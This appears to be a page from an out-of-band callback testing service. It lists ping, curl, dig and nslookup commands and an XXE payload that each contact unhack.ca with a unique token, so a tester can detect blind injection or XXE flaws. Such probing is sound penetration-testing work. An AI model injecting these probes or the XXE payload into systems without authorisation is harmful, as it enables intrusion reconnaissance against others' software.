$ ping -c1 -p 008cd293ad5b3099e84989290e176300 unhack.ca
 
$ curl http://unhack.ca/p/8cd293ad5b3099e84989290e1763
 
$ dig 8cd293ad5b3099e84989290e1763 @unhack.ca
 
$ dig 8cd293ad5b3099e84989290e1763.ns.unhack.ca
 
C:\> nslookup 8cd293ad5b3099e84989290e1763 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8cd293ad5b3099e84989290e1763">]>
    <foo>&xxe;</foo>
Waiting for ping...